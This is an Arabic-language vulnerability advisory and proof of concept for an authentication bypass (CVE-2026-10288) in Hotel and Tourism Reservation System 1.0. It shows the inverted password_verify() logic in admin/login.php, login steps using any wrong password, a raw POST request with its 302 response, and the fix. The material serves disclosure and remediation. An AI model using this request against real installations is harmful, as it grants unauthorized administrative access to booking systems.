
استغلال برهان المفهوم لثغرة تجاوز المصادقة الحرجة (CVE-2026-10288) في Hotel and Tourism Reservation System 1.0، مما يسمح بالوصول الإداري عن بعد بدون مصادقة عبر منطق password_verify() المقلوب.
| الحقل | التفاصيل |
|---|---|
| العنوان | نظام حجز الفنادق والسياحة - تجاوز المصادقة |
| البائع | code-projects.org |
| المنتج | نظام حجز الفنادق والسياحة |
| الإصدار | 1.0 |
| نوع الثغرة | مصادقة غير صحيحة |
| CWE | CWE-287 |
| درجة CVSS | 9.0 (حرجة) |
| متجه CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| الملف المتأثر | /admin/login.php |
| المصادقة مطلوبة | لا |
| قابل للاستغلال عن بعد | نعم |
توجد ثغرة حرجة لتجاوز المصادقة في وظيفة تسجيل الدخول الإداري في نظام حجز الفنادق والسياحة 1.0. سبب الثغرة هو فحص شرطي مقلوب على القيمة المعادة من password_verify()، مما يجعل التطبيق يمنح الوصول عند إدخال كلمة مرور غير صحيحة ويمنع الوصول عند إدخال كلمة المرور الصحيحة. يمكن لمهاجم عن بعد غير مصادق الحصول على وصول إداري كامل عن طريق تقديم عنوان بريد إلكتروني صالح وأي كلمة مرور غير صحيحة عشوائية.
الملف: admin/login.php — الأسطر 39–46
if(password_verify($password, $user['password'])){
// BUG: password_verify() returns TRUE when password is CORRECT
// but the error message is placed here instead of login logic
echo '<div class="w3-text-red text-center">The password you entered was incorrect, please try again.</div>';
} else {
// BUG: this block executes when password is WRONG
// but login is granted here instead of showing an error
$userID = $user['id'];
login($userID);
}
تُرجع password_verify() القيمة true عندما تتطابق كلمة المرور المدخلة مع التجزئة. وضع المطور منطق النجاح داخل الفرع else (الذي يتم تنفيذه عندما تُرجع الدالة false)، مما يعني أنه يتم منح المصادقة على أي كلمة مرور غير صحيحة.
يمكن لمهاجم عن بعد غير مصادق:
الإعداد: قم بتثبيت نظام حجز الفنادق والسياحة 1.0 على XAMPP. قم بالوصول إلى التطبيق على http://localhost/ht/.
الخطوة 1: انتقل إلى صفحة تسجيل الدخول الإداري.
http:///ht/admin/login.php
الخطوة 2: أدخل بريدًا إلكترونيًا إداريًا صالحًا مع أي كلمة مرور خاطئة.
Email: [email protected] Password: wrongpassword
الخطوة 3: انقر على تسجيل الدخول.
النتيجة: يتجاوز التطبيق المصادقة ويعيد التوجيه إلى لوحة التحكم الإدارية (index.php) — تم منح وصول إداري كامل بكلمة مرور غير صحيحة.
الطلب:
POST /ht/admin/login.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
email=admin%40admin.com&password=test1234&login=Login
الاستجابة:
HTTP/1.1 302 Found
Location: index.php
إعادة توجيه 302 إلى index.php تؤكد نجاح المصادقة بكلمة مرور خاطئة.
قم بتبديل الفروع الشرطية بحيث يتم منح تسجيل الدخول عندما تُرجع password_verify() القيمة true:
// FIXED
if(password_verify($password, $user['password'])){
$userID = $user['id'];
login($userID);
} else {
echo '<div class="w3-text-red text-center">The password you entered was incorrect, please try again.</div>';
}
Imad Alvi — باحث أمني مستقل